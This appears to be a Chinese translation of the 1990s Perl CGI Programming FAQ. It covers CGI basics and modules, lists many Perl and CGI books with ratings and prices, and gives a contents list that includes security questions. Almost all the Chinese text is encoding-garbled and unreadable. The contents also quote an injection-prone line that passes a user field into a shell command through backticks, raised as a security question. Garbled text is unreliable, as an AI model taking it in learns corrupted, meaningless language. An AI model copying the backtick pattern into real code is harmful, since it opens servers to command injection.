¤¤¤åª© Perl CGI µ{¦¡¼g§@±`°Ý°ÝÃD¶° (Perl CGI Programming FAQ)

ª©¥»¡G 1.0

­ì¤å§@ªÌ¡G
Shishir Gundavaram <shishir@ora.com>
Tom Christiansen <tchrist@perl.com>

¤¤Ä¶¡B¸É¥R¡G
¿½¦ÊÄÖ <pailing@2Ti.com>

¤åÅ黡©ú¡G

  1. ĶªÌ¤w´N­ì¤å¤¤»y²j¤£¸Ô¡B¸ê°T¹L®É¡A©Î¥i§@ÃB¥~¸É¥R¤§³Bªþ¥[µù¸Ñ¡C³o¨Çµù¸Ñ§¡ ¥H¬P¸¹ (*) ©ó¾A·í³B¡]³q±`¬°¥y§À¡^¼Ð¥Ü¡C¹ê»Úªº»¡©ú¤å¦r«h¤j¦hºò¾F¬P¸¹©Ò¦b ªº¬q¸¨¡A¦Û¦¨¤@¬q¡C©Ò¦³µù¸Ñ¤å¦r§¡¥H¡u¡iĶªÌ¡j¡v°_ÀY¡C
  2. ½d¨Ò¤¤ªº Perl µ{¦¡½X¤w¥ÑĶªÌ¾A«×¥[¥H½Ķ¡B¥h°£¦h¾lªº¬A©·¡A¨Ã¨Ì perlstyle manpages ¤¤©Ò«ØÄ³ªº¼g§@®æ¦¡¤Î²ßºDµy§@­×¾ã¡C


1.0 ¡Ð ¤Jªù²¤¶
Q1.1: ¬°¤°»ò§Úªº HTML page/form »Ý­n¥Î script¡H
Q1.2: CGI ¦U¥Nªí¤°»ò¡H
Q1.3: ¨ì©³¤°»ò¥s script¡H§Ú¯à®³¥¦¨Ó¯à°µ¤°»ò¡H
Q1.4: ¤°»ò¬O Perl¡H¬°¤°»ò¦³¨º»ò¦h¤H¥Î¥¦¨Ó°µ CGI¡H
Q1.5: ¦³¨S¦³±Ð CGI ©Î Perl ªº®Ñ©Î¬O½u¤W¸ê®Æ¡H
Q1.6: ¬O¤£¬O¦³³o¤è­±ªº¶l»¼½×¾Â (mailing lists) ©Î·s»D°Q½×¸s²Õ¡H
Q1.7: ºô¸ô¤W¬O¤£¬O¦³±Mªù¦¬Âöl»¼½×¾Â©Î·s»D°Q½×¸s²Õªº posts ªº¯¸¡H
2.0 - Modules ¡]¼Ò²Õ¡^
Q2.1: §Ú¬O¤£¬O¸Ó¥Î Perl CGI modules ¨Ó¼g CGI scripts ¡H¦Û¤v°µ¤£¬O¤ñ¸û®e©ö¶Ü¡H
Q2.2: ¦p¦óª¾¹D¬Y­Ó module ¸Ó«ç»ò­Ó¥Îªk¡H
Q2.3: ¦³­þ¨Ç Perl4 ªº CGI ©Î WWWªº libraries ¡H
Q2.4: ¦³­þ¨Çµ¹ Perl5 ¨Ï¥Îªº CGI modules¡H§Ú¸Ó¥Î­þ­Ó¡H¬°¤°»ò¡H
Q2.5: ¬°¤°»ò³o»ò¦h perl CGI libraries ³£¬O object-oriented ¡]ª«¥ó¾É¦V¡^ªº¡H§Ú¹ï¥Îª«¥ó¾É¦V¨Ó¼gµ{¦¡¤@¬¤£³q¡CÃø¹D´N¨S¦³Â²³æ¤@ÂI¡Aµ¹¤£·|ª«¥ó¾É¦Vªº¤H¨Ï¥Îªº libraries ¶Ü¡Hª«¥ó¾É¦V¦³¦hÃø¡H
3.0 - CGI »P WWW Server
Q3.1: §Úªº Perl CGI µ{¦¡­n©ñ¦b­þ¸Ì°õ¦æ¡Hcgi-bin ³o­Ó¥Ø¿ý¬O°µ¬Æ»ò¥Îªº¡H
Q3.2: ¤°»ò¬OÀɮרϥÎÅv­­¡H«ç¼Ë§ï¡H
Q3.3: Perl À³¸Ó¦w¸Ë¦b­þ¸Ì¤~¥i¥H°õ¦æ¥¦¡H
Q3.4: §Ú¬°¤°»ò¤@ª½±o¨ì ``Server: Error 500'' ªº°T®§¡H
Q3.5: §Ú¸ÕµÛ¥´¶}¤@­ÓÀɮסA·Q§â¸ê®ÆÀx¦s¦b¸ÌÀY¡A¦ý¬O open() ªº«ü¥O¥¢±Ñ¤F¡C¨ì©³¬O«ç»ò·dªº¡H
4.0 ¡Ð µ{¦¡³]­pºÃÃøÂø¯g
Q4.1: §Ú·QÅý user ¶ñªº form ¸ê®Æ¦Û°Ê±Hµ¹§Ú¡A¸Ó«ç»ò°µ¡H¦³¨S¦³½d¨Ò¡H
Q4.2: ­è¤~³o­Ó¥Î form °e«Hªº script ¬Ý°_¨Ó¦³ÂIÃø¡C¬°¤°»ò¤£°®¯Ü¥Î ``mailto: URL''¡A³o¼Ë user ¶ñ¤Jªº¸ê®Æ´N¥i¥H±Hµ¹§Ú¤F¡H
Q4.3: §Ú­n¦p¦ó¦b UNIX ¥H¥~ªº¥­¥x¤W°µ Perl-CGI¡AÄ´¦p Mac¡BMS-DOS¡B Windows ¤Î NT¡H§Úªº Perl CGI µ{¦¡¯à¤£¯à¦b³o¨Ç¥­¥x¤§¶¡¤¬¬Û²¾´Ó©O¡H¯à¤£¯à «Üª½±µ¡A¨S¦³³Â·Ð¡H§Ú¦b UNIX ¥D¾÷¤W¦³±b¸¹¡A¦ý¬O³£¬O¥ý¦b Windows/Mac ¤W°µ¡C §Ú­n¦p¦ó¦b§Ú¦Û¤vªº¾÷¾¹¤W´ú¸Õ¼g¦nªº CGI scripts¡H
Q4.4: ¦b Perl CGI µ{¦¡¤¤¡ASTDERR ¡]¼Ð·Ç¿ù»~°T®§)¡BSTDIN (¼Ð·Ç¿é¤J¡^¡A©M STDOUT ¡]¼Ð·Ç¿é¥X¡^ ¦U¬O³s¨ì¦ó³B¡H
Q4.5: ¦p¦ó¼g­p¼Æ¾¹¡H
Q4.6: ­n¦p¦ó¥Î¤@­Ó Perl ªº¨ú¥N«ü¥O±N©Ò¦³ HTML ¼ÐÅÒ±q¤@¥÷¤å¥ó¤¤§R°£¡H
Q4.7: ­n¦p¦óª¾¹D¬O½Ö¡þ­þ¥x¾÷¾¹¡þ­þ­ÓÂsÄý¾¹°õ¦æ¤F§Úªºµ{¦¡¡H
Q4.8: ¤H®a¬Ý±o¨ì§Úªº Perl CGI µ{¦¡¶Ü¡H¦pªG¬O³o¼Ëªº¸Ü¡A¨º¤£´NÅý¥L­Ìª¾¹D§Úªºµ{¦¡¬O«ç»ò¹B§@ªº¤F¡C³o¬O­Ó¦w¥þº|¬}¶Ü¡H§Ú­n«ç»ò§â¥¦ÁôÂð_¨Ó¡H
Q4.9: §Ú»Ý­n±N¾ã­Ó Perl library ³£½Æ»s¨ì§Úªº htdocs ¥Ø¿ý©³¤U¶Ü¡H
Q4.10: §Ú¬°¤°»ò¤£¸Ó¥s¨Ï¥ÎªÌ¿é¤J¥L­Ìªº±K½X©Î¨­¥÷ÃÒ¦r¸¹©Î«H¥Î¥d¸¹½X¡H¦³¤@­Ó TYPE="password" ¤£¬O´N¬O®³¨Ó°µ³o­Óªº¶Ü¡H
Q4.11: §Ú­n¦p¦ó²£¥Í±Mªù´À Netscape ³]­pªººô­¶¡A¥H§O©ó¥@¤W¨ä¥LªºÂsÄý¾¹¡H
Q4.12: ¬°¤°»ò§Úªº system() ©Ò²£¥Íªº¸ê®Æ¿é¥X¶¶§Ç¤£¹ï¡H
Q4.13: §ÚÅ¥»¡ Netscape ·|¤ä´© Java¡C³o¬O¤£¬O»¡ §Ú²{¦b±o±ó Perl¡A§ïJava ¤F¡H¬O¤£¬O¸Ó³o»ò°µ¡H
Q4.14: §Ú­n¦p¦óŪ¨úÀô¹ÒÅܼơH¬°¤°»ò¥¦­Ì¦³®É­Ô·|¤£¤@¼Ë¡H
Q4.15: ¬°¤°»ò§Ú¿é¥Xªº¸ê®Æ³QÅͶäF¡]¦p ``b < a'' ·|³Q¯}Ãa±¼¡^¡H
Q4.16: ¬°¤°»ò§ÚªºPerl CGI µ{¦¡¥i¥H¥Ñ«ü¥O¦C¡A«oµLªk±qÂsÄý¾¹¥h°õ¦æ¡H
Q4.17: ¬°¤°»ò§Úªº Perl CGI µ{¦¡¯à¶]¡A¦ý¬O¤£·|§â¸ê®Æ¼g¨ìÀɮפ¤¡H
Q4.18: ­n¦p¦ó°µ¤@­Ó·|ºûôª¬ºA¡A©Î¤¹³\¡i¦P¤@¨Ï¥ÎªÌ¡j¦h¦¸³s½uªº form¡H
Q4.19: ¦pªG¤£±qÂsÄý¾¹¥h°õ¦æ§Úªº CGI µ{¦¡¡A­n¦p¦ó´À¥¦°£¿ù¡H
Q4.20: ¦pªG¤£¾a<FORM>¼ÐÅÒ¡A­n¦p¦ó¥s¥X Perl CGI µ{¦¡¡H
Q4.21: ­n¦p¦óÁ×§K®Ç¤H¤£¥ý¶ñÄæ¦ì´N°õ¦æ§Úªº form¡H¥L­Ì¬°¤°»ò¤@ª½¤£Â_³o»ò°µ¡H
Q4.22: ¨º¨Ç server ¦^À³½X (server response codes) ¬O·F¤°»ò¥Îªº¡H¦³¤°»ò·N¸q¡H
Q4.23: ¬°¤°»ò print "Location: http://host/page.html\n" ¤£ work¡H¤S¬°¤°»ò¥¦¥u work ¤@¦¸¡A¦ýÀH«áªºÂà¦V´N³£§Ë¿ù¤F©O¡H
Q4.24: ­n¦p¦óÅý server ¦b¨C­Ó HTML ºô­¶ªº©³³¡³£¦Û°Ê¥[¤W¤@­Ó¡G¡u³Ìªñ§ó·s¤é´Á¡G ...¡vªº§i¥Ü¡H©ÎªÌ¡A¬O¤£¬O¥u¦³ SSI ªººô­¶¤~¯à³o»ò°µ¡HCGI µ{¦¡ªº¤é´Á­n¦p¦ó¨ú ±o¡H
Q4.25: ¤°»ò¼Ëªº³õ¦X¤U¥H Perl ¼g CGI µ{¦¡·|Åã±o¤Ó¤pÃD¤j§@¡A¦]¬°¥Î shell ´N¥i¥H°µ¨ì¡H¦Ó¤°»ò¼Ëªº³õ¦X¹ï Perl ¨Ó»¡¤S¹L©ó§xÃø¡H¥Î C++ °µ³oÃþªº¨Æ¤£¬O¦n±o¦h¶Ü¡H¨º¥Î C ©O¡H
5.0 ¡Ð ¦w¥þ
Q5.1: ¥H Perl ¼g¦¨ªº CGI µ{¦¡¬O¤£¬O¤£¦p¥H shell ©Î C ¼gªº¨Ó±o¦w¥þ¡H
Q5.2: §Ú¸Ó¯S§O¯d·N­þ¨Ç¦w¥þ¨Æ¶µ¡H
Q5.3: ¬°¤°»ò¤j®a³£»¡ http://bigidiot.abuse-me.com/perl.exe?foo.pl ³o¼Ë«Ü¦MÀI¡H·|¦³¦hÁV¡H
Q5.4: ­n¦p¦ó¦bµ{¦¡¤¤¦w¥þ¦a¨Ï¥Î°f¦VºJ¸¹¡]backticks¡A"`"¡^¡H³o»ò°µ¡G
@ans = `grep'$user_field' some.file`; ¬O¤£¬O¯uªº¤£¦w¥þ¡H
Q5.5: /$user_variable/ ³o­Ó¥yªk¬O¤£¬O Perl 5 ¤¤ªº¤@­Ó¦w¥þº|¬}¡H
ª©Åv¨Æ©y

1.0 ¡Ð ¤Jªù²¤¶


Q1.1: ¬°¤°»ò§Úªº HTML page/form »Ý­n¥Î script¡H

¦]¬°¦³ªº®É­Ô±z»Ý­n¦b HTML ¤å¥ó¤¤¨Ï¥Î°ÊºA¸ê®Æ¡]«D©T©w¤£Åܪº¸ê®Æ¡^¡C ³o¥]¬A¤F¤é´Á©M®É¶¡³oÃþªºÂ²³æ¸ê®Æ¡A©Î¬O¤@­ÓÅã¥Ü¡u±z¬O²Ä xxx ¦ì³X«È¡vªº­p ¼Æ¾¹¡C¦ý¥¦¤]¥i¯à¥]¬A®Ú¾Ú¨Ï¥ÎªÌ¿é¤J¦Ó±o¥Xªº¤j»æ¹Ï¡þ±ø²Î¹Ï¡B¸ê®Æ®w·j´M²£ ¥Íªºµ²ªG¡A©Î°Êµeµ¥³oÃþªºªF¦è¡C­n°µ¥X¹³³o¼ËªºªF¦è¡A±z°ß¤@ªº¤èªk¬O¨Ï¥Î CGI scripts ¡]¾¨ºÞ±z¤]¥i¥HÀ³¥Î«È¤áºÝµ{¦¡¡A¦p Java ©M JavaScript ¨Ó¹F¨ì³o­Ó¥Ø ªº¡A¤£¹L¨º¤S¬O§¹¥þ¤£¦Pªº¤@¦^¨Æ¡I¡^¡C


Q1.2: CGI ¦U¥Nªí¤°»ò¡H

¥H¤U¬O§Úªº½s¿è* Andy Oram ©M Linda Mui ¡]¥L­Ì«Ü´Î¡I¡^©Ò¼gªº¤@¬q«D ±`¦nªº´y­z¡G

¡iĶªÌ¡j³o¬O­ì¤åªº²Ä¤@§@ªÌ Shishir G. «ü¥L©Ò¼gªº CGI Programming on the World Wide Web ¤@®Ñªº½s¿è¡C
Common          ¦V±z½T«O CGI ¥i¥H¨Ï¥Î¦hºØµ{¦¡»y¨¥¨Ã©M¦hºØ
		¤£¦Pªº¨t²Î¤¬°Ê¡C¥¦Åý±z¦Û¥Ñ¿ï¾Ü¹F¨ì¥Øªºªº¤è
                ªk¡A¤£§â±z¸j¦º¦b³æ¿W¤@ºØ§@ªk¤§¤U*¡C

Gateway         ´£¥Ü±z CGI ªº¤O¶q¤£¦b©ó¥¦¥»¨­©Ò°µªº¨Æ¡A¦Ó
                ¦b©ó¥¦´£¨Ñ¤F³sµ²¨ä¥L¨t²Îªº¼ç¤O¡A¨Ò¦p¸ê®Æ®w
                ©M¹Ï§Î»s³y¾¹¡C

Interface       ¥u¬Oªí¥Ü CGI ¹ï¦p¦óµ½¥Î¨ä¯S©Ê´£¨Ñ¤F©ú½Tªº
		¬É©w¡Ð´«¥y¸Ü»¡¡A±z¥i¥H³]­pµ{¦¡¨Ó¾A·í§Q¥Î³o
                ­Ó¤¶­±¡C

¡iĶªÌ¡j¦ü¥G¦³¼v®g Java ¤§·N¡C

Q1.3: ¨ì©³¤°»ò¥s script¡H§Ú¯à®³¥¦¨Ó¯à°µ¤°»ò¡H

²³æªº»¡¡Ascript ´N¬Oµ{¦¡¡I¦n§a¡B¦n§a¡AÀ³¸Ó»¡¤GªÌ¦³»y·N¤Wªº®t§O¡C¦pªG±z ¯uªº·Qª¾¹D¡A¨º»ò¥h¶R¤@¥»¹q¸£µ{¦¡³]­pªº®Ñ¨Ó¬Ý¡]©Î³\¸Ó»¡ script ³]­p :-) ¡^¡C

±z¥i¥HÂǵۼg CGI µ{¦¡/script ÅܫܦhÅ]³N¡C±z¥i¥H§Y®É»s§@¹Ï§Î¡B³sµ²¸ê®Æ®w ¶Ç¦^¡i¬d¸ß¡jµ²ªG¡AÁÙ¥i¥H³s¨ì Internet ¤W¨ä¥Lªº servers ¥h¡C


Q1.4: ¤°»ò¬O Perl¡H¬°¤°»ò¦³¨º»ò¦h¤H¥Î¥¦¨Ó°µ CGI¡H

µª®×´N¦b perl manpage ¤¤ªº«e¤T¦æ±Ô­z¡G

Perl ¬O¤@¸Ñͦ¡ªº»y¨¥¡A±M¬°°ª®Ä²vÀ˵ø¤å¦rÀÉ®× ¡B±q¤¤©â¨ú¸ê®Æ¡A¾Ú¥H¦L»s ³øªí¦Ó³]­p¡C
µ´¤j¦h¼Æ CGI À³¥Îµ{¦¡ªº¥ô°È³£¯A¤Î¹ï¸ê®Æ§@¬YºØµ{«×ªº³B²z¡A¤Î³sµ²¥~¦bµ{¦¡¡C Perl «ê¦n´£¨Ñ¤F¦n¥Îªº¤u¨ã¡AÅý¤H»´ÃP´r§Ö¦a¹F¦¨³o¨Ç¥ô°È¡C


Q1.5: ¦³¨S¦³±Ð CGI ©Î Perl ªº®Ñ©Î¬O½u¤W¸ê®Æ¡H

¥H¤U¬O¥Ñ Cye H. Waldman ©Ò¾ã²zªº CGI ©M Perl ®ÑÄy¤@Äýªí*¡G

¡iĶªÌ¡j¦¹ªí¥ÑĶªÌ§ó·s¡A¦P®É¥[¤J¤F­ì¤å§@ªÌ Tom C. ªº Perl ®Ñµû¥H¨ÑŪªÌ °Ñ¦Ò¡C½Ðª`·N¡GCGI ¦U®Ñªºµ¥¯Åµû©w¤D³æ´N¨ä Perl ³¡¥÷ªº¤ô·Ç¤Î¥¿½T©Ê¦Ó¨¥¡C²Å ¸¹»¡©ú¡G¡]Tom C. ¥ÎÀd¾m¦Ó«D¬P¬P¡^
¤­Áû¬P¡]¡Î¡Î¡Î¡Î¡Î¡^==>«Ü´Îªº®Ñ (terrific books)
¥|Áû¬P¡]¡Î¡Î¡Î¡Î¡^==>¤£¿ùªº®Ñ (fine books)
¤TÁû¬P¡]¡Î¡Î¡Î¡^==>¹³¼Ëªº®Ñ (decent books)
¨âÁû¬P¡]¡Î¡Î¡^==>°¨°¨ªêªê¡B«j±j¹L±o¥hªº®Ñ (so-so books)
¤@Áû¬P¡]¡Î¡^==>®t«lªº®Ñ (poor books)
¹sÁû¬P¡]0¡Î¡^==>¤jÄê®Ñ (terrible books)
NA==>¤£¾A¥Î¡BµL®Ñµû (Not Applicable/Available)
v4==>¤º®e¸û¦Ñ¡A¶È§t»\ Perl4

§@ªÌ ®Ñ¦W µû»ù ¥Xª©ªÌ ©Òªþ³nÅé °â»ù¡]¬üª÷¡^
?? Cgi Programming For Dummies
¡]¹w©w¥Xª©¤é´Á¡G1997¦~1¤ë¡^
NA IDG Books
$25
Jeffrey Friedl Mastering Regular Expressions: Powerful Techniques for Perl and Other Tools
¡]¹w©w¥Xª©¤é´Á¡G1997¦~1¤ë¡^
NA O'Reilly
$30
J.M. Ivler CGI Developer's Resource
¡]¹w©w¥Xª©¤é´Á¡G1997¦~3¤ë¡^
NA Prentice Hall ¥úºÐ $45
Various authors Perl 5 Windows NT Programming
¡]¹w©w¥Xª©¤é´Á¡G1997¦~1¤ë¡^
NA New Riders
$45
Eric Herrmann Teach Yourself CGI Programming with Perl 5 in a Week, 2nd Ed. NA Sams.net ¥úºÐ $40
Mark Felton CGI: Internet Programming C++ & C
¡]¹w©w¥Xª©¤é´Á¡G1997¦~3¤ë¡^
NA Prentice Hall
$??
Ed Tittle CGI Bible
¡]¹w©w¥Xª©¤é´Á¡G1996¦~11¤ë¡^
NA IDG Books
$??
Craig Patchett &
Matt Wright
The CGI Cookbook: Perl and JavaScript
¡]¹w©w¥Xª©¤é´Á¡G1996¦~11¤ë¡^
NA Wiley ¥úºÐ $40
Baron Weil Drag-n-Drop CGI
¡]¹w©w¥Xª©¤é´Á¡G1997¦~1¤ë¡^
NA Addison-Wesley
$??
Stephen Lines How To Program CGI with Perl 5.0 NA Ziff-Davis ¥úºÐ $40
Bob Denny et al. CGI Programming for Windows
¡]¹w©w¥Xª©¤é´Á¡G1997¦~3¤ë¡^
NA O'Reilly ºÏ¤ù $30
Selena Sol &
Gunther Birznieks
Instant Web Scripts with CGI/Perl NA MIS:Press/M&T Books ¥úºÐ $40
?? Perl For Dummies
¡]¹w©w¥Xª©¤é´Á¡G1996¦~10¤ë¡^
NA IDG Books
$25
Steven E. Brenner &
Edwin Aoki
CGI Web Scripting With Perl
¡]¥Xª©¨ú®ø¡^
NA MIS:Press/M&T Books ¥úºÐ $40
?? Perl & CGI Programming Starter Kit NA Sams.net
$45
Mohammed J. Kabir CGI Primer Plus for Windows NA Waite ¥úºÐ $45
Ed Tittel et al. Foundations of WWW Programming with HTML and CGI, 2nd Ed.
¡]¹w©w¥Xª©¤é´Á¡G1996¦~10¤ë¡^
NA IDG Books ¥úºÐ $??
Jerry Muelver Creating Cool Web Pages With Perl ¡Î¡Î IDG Books ¥úºÐ $30
John December HTML & CGI Unleashed, Professional Reference Edition NA Sams.net ¥úºÐ $50
Eric Johnson Cross-Platform Perl
(See also the author's book site.)
¡]¹w©w¥Xª©¤é´Á¡G1996¦~9¤ë¡^
¡Î¡Î¡Î¡Î MIS:Press/M&T Books ¥úºÐ $35
Daniel Berlin et al. CGI Programming Unleashed NA Sams.net
$55
Clinton Wong Web Client Programming in Perl
¡]¹w©w¥Xª©¤é´Á¡G1997¦~3¤ë¡^
NA O'Reilly
$30
Robert Seymour Perl 5
¡]¹w©w¥Xª©¤é´Á¡G1996¦~10¤ë¡^
NA Springer-Verlag
$40
Mícheál ó Foghlú Perl 5 Quick Reference ¡Î Que
$20
Robert Niles &
Jeffry Dwight
CGI by Example NA Que ¥úºÐ $35
Jonathan Hagey PC Magazine Programming Perl 5.0 CGI Web Pages for Microsoft Windows NT 0¡Î Ziff-Davis ¥úºÐ $35
?? Web Programming with Perl
¡]¹w©w¥Xª©¤é´Á¡G1996¦~8¤ë¡^
NA Sams.net ¥úºÐ $40
?? Perl 5 Developer's Guide
¡]¹w©w¥Xª©¤é´Á¡G1996¦~12¤ë¡^
NA Sams ¥úºÐ $60
David Medinets Perl 5 by Example ¡Î¡Î+1/2¡Î Que ¥úºÐ $35
Stephen Asbury et al. CGI How-To NA Waite ¥úºÐ $40
Carl Franklin Visual Basic Internet Programming
¡]¹w©w¥Xª©¤é´Á¡G1996¦~5¤ë¡^
NA Wiley ¥úºÐ $40
InfoMagic Mother of Perl
¡]¤@®M¨â±i¥úºÐ¡^
NA SSC ¥úºÐ $35
Larry Wall et al. Programming Perl, 2nd Ed. ¡Î¡Î¡Î¡Î¡Î O'Reilly
$40
Eugene Kim CGI Developer's Guide
¡]¹w©w¥Xª©¤é´Á¡G1996¦~5¤ë¡^
¡Î¡Î Sams.net ¥úºÐ $50
Robert McDaniel CGI Manual of Style
¡]¥i¦Û½u¤W¨ú±o¡^
NA Ziff-Davis
$25
?? Perl 5 for Dummies
¡]¹w©w¥Xª©¤é´Á¡G1996¦~¡^
NA IDG Books ¥úºÐ $??
Ginsburg &
Tall
Developing Internet Applications with Perl
¡]¹w©w¥Xª©¤é´Á¡G1996¦~3¤ë¡^
NA Sams.net
$??
Kamran Husain Perl 5 Unleashed ¡Î Sams ¥úºÐ $50
Norton Teach Yourself Perl 5, 2nd Edition
¡]¹w©w¥Xª©¤é´Á¡G1996¦~6¤ë¡^
NA Sams ¥úºÐ $??
Michael Erwin et al. Special Edition Using CGI NA Que
$60
Thomas Boutell CGI Programming in C and Perl ¡Î¡Î¡Î¡Î Addison-Wesley ¥úºÐ $35
Johan Vromans Perl 5 Desktop Reference NA O'Reilly
$7
Christian Neuss &
Johan Vromans
The Webmaster's Handbook: Perl Power for Your Web Server NA Int'l Thomson ¥úºÐ $30
William E. Weinman The CGI Book NA New Riders ¥úºÐ $45
Brian Jepson World Wide Web Database Programming for Windows NT NA Wiley ¥úºÐ $40
Steven E. Brenner &
Edwin Aoki
Introduction to CGI/ Perl ¡Î¡Î¡Î(v4) MIS:Press/M&T Books
$20
Ed Tittel &
Sebastion Hassinger
Perl 5 Programming Secrets
¡]¹w©w¥Xª©¤é´Á¡G1996¦~3¤ë¡^
NA IDG Books ¥úºÐ $45
David Harlan et al. Special Edition Using Perl 5 for Web Programming
¡Î¡Î Que
$50
Shishir Gundavaram CGI Programming on the World Wide Web ¡Î¡Î O'Reilly ¥úºÐ $30
Robert Farrel The Official 60 Minute Guide to CGI Programming with Perl ¡Î¡Î¡Î(v4) IDG Books
$20
Ed Tittel &
Sebastion Hassinger
Web Programming Secrets with HTML, CGI & Perl NA IDG Books ¥úºÐ $45
John Deep &
Peter Holfelder
Developing CGI Applications with Perl ¡Î¡Î(v4) Wiley
$30
Jon Orwant Perl 5 Interactive Course ¡Î¡Î¡Î Waite ¥úºÐ $50
Aidan Humphreys et al. Perl 5 How-To ¡Î¡Î¡Î Waite ¥úºÐ $45
Eric Herrmann Teach Yourself CGI Programming with Perl in a Week ¡Î¡Î¡Î(v4) Sams.net ¥úºÐ $40
Walnut Creek Perl
¡]¦¬¿ý¦UÃþ¸ê·½¡BÀÉ®×®w¡B¤Jªù«ü¾É¡B¹ê¨Ò¡Bsource code µ¥¡^
NA Walnut Creek ¥úºÐ $40
Carl Dichter &
Mark Pease
Software Engineering with Perl
¡]¶i¶¥¯Å¡A¤º®e°w¹ï³nÅé±M·~¤H¥K³]­p¡F«D¤Jªù«ü¤Þ¡^
¡Î Prentice Hall ºÏ¤ù $30
Ellie Quigley Perl by Example ¡Î¡Î¡Î(v4) Prentice Hall
$27
John December &
Mark Ginsburg
HTML & CGI Unleashed NA Sams.net ¥úºÐ $50
David Till Teach Yourself Perl in 21 Days ¡Î¡Î(v4) Sams
$30
Larry Wall &
Randal L. Schwartz
Programming Perl NA O'Reilly
$30
Randal L. Schwartz Learning Perl ¡Î¡Î¡Î¡Î(v4) O'Reilly
$25
Ed Tittel et al. Foundations of WWW Programming with HTML and CGI NA IDG Books ¥úºÐ $40
Lincoln Stein How To Set Up and Maintain a World Wide Web Site, 2nd Edition
¡]¹w©w¥Xª©¤é´Á¡G1997¦~1¤ë¡^
¡Î¡Î¡Î¡Î Addison-Wesley ¥úºÐ $55

¡iĶªÌ¡j¤¤¤åªº CGI ©M Perl ªº®Ñ¥Ø«h©|«Ý¦n¤ßªºÅªªÌ´£¨Ñ¡C


Q1.6: ¬O¤£¬O¦³³o¤è­±ªº¶l»¼½×¾Â (mailing lists) ©Î·s»D°Q½×¸s²Õ¡H

¨C¤Ñ¦³µL¼Æªº CGI °ª¤â¦b¡uºÊµø¡vµÛ³o­Ó«Ü¦³¥Îªº·s»D°Q½×¸s²Õ¡G comp.infosystems.www.authoring.cgi*¡C

¡iĶªÌ¡j¤¤¤åªº°Q½×¸s¤¤³Ì¾A¦X°µ³o¤è­±ªº°Q½×ªº¤j·§­nºâ¬O tw.bbs.comp.www ¤F¡CÁÙ¦³¡A½Ð¤£­n±N CGI °ÝÃD post ¨ì comp.lang.perl.misc ¤WÀY¥h¡A§O»¡Ä¶ªÌ¨S¥ýĵ§i±z³á ;-) ¡C

¦ý¬O¡A°£«D±z¥ý§â FAQ Ū¹L¤@¹M¡A§_«h±z¤£À³¸Ó¨ì³o­Óª©¤l¤W¥hÀH«K post °ÝÃD ¡]©Î¨ä¥L¥ô¦óª©¤l¡F¦P¼Ëªº¹D²z¡^¡C

ºô¸ô¤W¦³¦U¦¡¦U¼Ë °Q½× Perl¡BCGI¡A¤Î Web ªº¶l»¼½×¾Â¡A¦ý¥H©³¤U³o¨â­Ó³Ì¨üÅwªï¡G

cgi-perl-request@webstorm.com ¡iHypermail ÀÉ®×®w¡j

³o­Ó½×¾Â¬Oµ¹µo®i Perl5 CGI ¼Ò²Õ¡B©Î¹ï¦¹¦³¿³½ìªº¤H¥Îªº¡C¥¦¨Ã¤£´£ ¨Ñ¥ô¦ó CGI ¤ä´©*¡C
¡iĶªÌ¡j¦¹ mailing list ¤w¸g¼Æ¤ë¨S¦³ posts ¡A¹Ø²×¥¿¹ì¤F¡C³o¥i¯à¬O¥Ñ©ó °Q½×ªº¥DÃD¡ÐCGI::* ¼Ò²Õ®M¥ó¡]¸Ô¨£¥H¤U²Ä¤G½g¡uModules ¡]¼Ò²Õ¡^¡vªº»¡©ú¡^ ¤w¸g¦³¦n¤@¬q®É¶¡¨S¦³§ó·s¤F¡C¼Ò²ÕªººûÅ@¤H Lincoln Stein ªñ¤@¦~¦h¨Ó¦ü¥G³£ ±N­«¤ß©ñ¦b¥Lªº CGI.pm ¤W¡A¦Ó CGI.pm ¤]¨ú¥N¤F CGI::* ³o­Ó®M¥óªº¦a¦ì¡CŪªÌ ¦p¹ï CGI::* ©Î CGI.pm ¦³°ÝÃDªº¸Ü¥i¼g¨ì comp.lang.perl.modules ¤WÀY¥h¡C

libwww-perlrequest@ics.uci.edu ¡iHypermail ÀÉ®×®w¡j

libwww-perl ³o­Ó library ®M¥ó¬° Web «È¤á¤Î¦øªAµ{¦¡³]­p´£¨Ñ¤F¤@®M²«Kªº¤¶­±*¡C
¡iĶªÌ¡j¦¹ mailing list ¤£¾A¦X°µ CGI ªº°Q½×¡Clibwww-perl ¬O¤@¶µ¥H Perl ¬°µo®i¤u¨ã¡BÃþ¦ü W3C/CERN ªº libwww ªº­pµe¡]«áªÌ¥Îªº¬O C¡^¡C

±z¥i¥H¦b¡G
http://www.ics.uci.edu/pub/websoft/libwww-perl¨ú±oªº (Perl4) libwww-perl ªº¬ÛÃö¸ê®Æ¡C

³Ì·sªº Perl5 libwww ®M¥ó¥i¦b¡G
http://www.sn.no/~libwww-perl/ ³B¨ú±o¡C

CPAN: Perl ¼Ò²Õ¦P®É¤]¥i¥H¦b¦h­«½Æ»s¡B¤À´²¦¡ªº CPAN ¨t²Î¨ú±o¡C ³o·|¦Û°Ê´À±z¿ï¾Ü¤@­Ó¡u¾aªñ±zªº¯¸¡v¡CÄ´ ¦p»¡¡A±z¥i¥H§ì LWP ¼Ò²Õªº source ©Î¥u§ì¥¦ªº readme¡C


Q1.7: ºô¸ô¤W¬O¤£¬O¦³±Mªù¦¬Âöl»¼½×¾Â©Î·s»D°Q½×¸s²Õªº posts ªº¯¸¡H

¬Oªº¡A±z¥i¥H¸Õ¸Õ The Usenet Newstand¡C©Ò¦³comp.infosystems.www.* °Q½×¸s²Õªº¤å³¹³£¦¬¶°¦b¨º ¨à*¡C¦P®É¡Acgi-perl ¤Î libwww ³o¨â­Ó¶l»¼½×¾Â¥L­Ì¤]¦³¦¬¶°¡C

¡iĶªÌ¡j±z¦P®É¥i¥H¸Õ¸Õ DejaNews ¡B AltaVista ¡A©M HotBot ³o´X­Ó·j´M¤ÞÀº¡þ¸ê®Æ®w¡C DejaNews ¬Æ¦Ü³s tw.bbs.* ³£¦¬¶° ¡]¨ä¥L¨â­Ó©Î³\¤]¦³¡A¦ýĶªÌ¨S¸Õ¹L¡^¡C


2.0 - Modules ¡]¼Ò²Õ¡^


Q2.1: §Ú¬O¤£¬O¸Ó¥Î Perl CGI modules* ¨Ó¼g CGI scripts ¡H¦Û¤v°µ¤£¬O¤ñ¸û®e©ö¶Ü¡H

¡iĶªÌ¡j CGI modules ¦b¦¹«ü CGI.pm ¤Î¨ä¥L CGI::* ªº¼Ò²Õ¡F¸Ô¨£ Q2.4 ¡C

